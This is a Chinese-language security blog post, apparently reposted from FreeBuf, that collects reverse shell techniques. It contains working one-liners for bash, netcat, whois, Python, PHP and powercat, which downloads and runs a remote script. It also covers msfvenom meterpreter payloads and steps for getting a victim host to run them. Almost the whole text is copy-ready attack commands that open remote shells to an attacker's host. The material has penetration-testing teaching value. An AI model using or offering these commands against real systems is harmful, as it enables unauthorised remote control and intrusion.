常用反弹shell方法总结

技术

目录


        
  `bash反弹shell`
  `nc反弹shell`
  `whois 反弹shell`
  `常见脚本反弹`
  `1.python`
  `2.php`
  `powercat反弹shell`
  `msf反弹shell`
 


      

bash反弹shell

bash -i >&/dev/tcp/1.1.1.1/9999 0>&1

picture.image

picture.image

解释:

bash -i [interface] 表示启动shell窗口

表示将这个窗口重定向到指定的地方,也就是将输出交给后面

&表示将该命令转到后台执行 (我看其他文章也有将&解释成等同于的,如2>&1 就表示stderr标准错误重定向为等同于stdout标准输出)

/dev/tcp/x.x.x.x/port表示发出一个socket调用,建立一个socket连接,读写这个文件等同于socket连接中传输数据.x.x.x.x表示要反弹到的主机的ip,port为端口 (同理linux中还存在/dev/udp)

0表示stdin标准输入

1表示stdout标准输出

2表示stderr标准错误输出

0>&1表示将标准输入重定向到标准输出

nc反弹shell

1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 9999

nc -e 表示连接成功后执行的程序
nc -e /bin/bash表示连接到远程之后执行shell, 并反弹

  1. 如果linux中nc没有-e参数

(1)nc x.x.x.x 4444 | /bin/bash | nc x.x.x.x 5555#从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。

picture.image

picture.image

picture.image

picture.image

picture.image

(2)nc -c /bin/bash x.x.x.x 4444

(3)/bin/sh | nc x.x.x.x 4444

3.nc 弹windows下的shell:

windows端需要下载nc.exe 戳这:https://eternallybored.org/misc/netcat/【报毒,建议虚拟机下载】

攻击机监听:nc -lvp 7777

windows端反弹shell:nc x.x.x.x 7777 -e c:\windows\system32\cmd.exe

picture.image picture.image

whois 反弹shell

whois -h x.x.x.x -p 9999 whoami

#但是反弹的shell只能执行后面带的命令

picture.image

picture.image

常见脚本反弹

1.python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

解释:

import socket,subprocess,os#导入模块,其中subprocess库用来提供强大的进程创建接口,还可以提供多种与客户端程序交互的方法。

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #SOCK_STREAM表示创建一个TCP连接

s.connect(("x.x.x.x",5555))

os.dup2(s.fileno(),0)#os.dup2表示将一个文件描述符复制到另一个文件描述符,fileno()表示将文件流指针转换成文件描述符,s.fileno表示返回socket的文件描述符,这行代码表示将s.fileno()表示的文件传递到0指向的文件,0即我们之前所说的stdin标准输入

os.dup2(s.fileno(),1) #同理,1表示stdout标准输出

os.dup2(s.fileno(),2)#同理,2表示stderr标准错误输出

p=subprocess.call(["/bin/bash","-i"]); #表示运行/bin/bash -i, subprocess.call执行命令时不使用空格,用""分开

2.php

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

【注:php的fsockopen使用需要php.ini中allow_url_fopen = On】

php -r sock=fsockopen("x.x.x.x",5555); //fsockopen用来打开一个网络连接或者一个Unix套接字连接 exec("/bin/bash -i <&3 >&3 2>&3"); //文件描述符都是递增的,则创建新的文件描述符之后其大小为3,所以直接将0,1,2重定向3。0,1,2的含义我们上文反复提到 //可以写成exec("/bin/bash -i 0<&3 1>3 2>&3");

还有一些其他脚本反弹shell可以参考乌云滴文章:

https://mp.weixin.qq.com/s/AnvJIRX9hx4g4gg8Er_O4g

一些文件描述符的理解可以kk这个:

https://zhuanlan.zhihu.com/p/109053744

powercat反弹shell

powercat是netcat的powershell版本,

下载地址:https://github.com/besimorhino/powercat (需要fq)

两种用法:

(1)下载脚本,powershell本地运行

Import-Module .\powercat.ps1

powercat -c 攻击机IP -p 端口 -e cmd

picture.image

picture.image

(2)从url下载使用

powershell运行: (cmd的话命令前面加个powershell一样的)
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') ; powercat -c 攻击机ip -p 端口 -e cmd

【这里先下载ps1脚本到自己搭的服务器,再运行powershellIEX (New-Object System.Net.Webclient).DownloadString('https://10.x.x.x/powercat.ps1') ; powercat -c 攻击机ip -p 端口 -e cmd】

picture.image

picture.image

msf反弹shell

这个更常见啦,宝子们应该都会啦~

进入msf开搞:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=9999 -f exe > /root/shell.exe

picture.image

放到自己服务器上让受害者windows主机下载运行

然后攻击机msf:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 攻击机ip

set LPORT 9999

exploit

看到session

picture.image

成功啦~

当然大家可能已经腻味了熟悉的windows/meterpreter/reverse_tcp,msfvenom也有很多其他反弹shell的payload

msfvenom -l payload | grep 'reverse_tcp'

picture.image

好了我们选中一个幸运payload儿来尝试:

picture.image

好吧就你了最好的语言

msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=6666 -f raw > shell.php

picture.image

放到受害主机根目录,打开暂时还没有socket:

picture.image

攻击机一顿set, 然后受害主机刷新一下shell.php,成功拿到:

picture.image

以后想到再更新啦(吐槽:我感觉这才不是大大大总结,是小小小总结)

推荐一下本站一篇总结的超好的文章:

https://www.freebuf.com/articles/web/247967.html

本文作者:Luc1fer, 转载请注明来自FreeBuf.COM

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
字节跳动 EB 级湖仓一体分析服务 LAS 的实践与展望
火山引擎湖仓一体分析服务 LAS 是面向湖仓一体架构的 Serverless 数据处理分析服务,提供一站式的海量数据存储计算和交互分析能力,完全兼容 Spark、Presto、Flink 生态,在字节跳动内部有着广泛的应用。本次演讲将介绍 LAS 在字节跳动内部的发展历程和大规模应用实践,同时介绍 LAS 在火山引擎上的发展规划。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论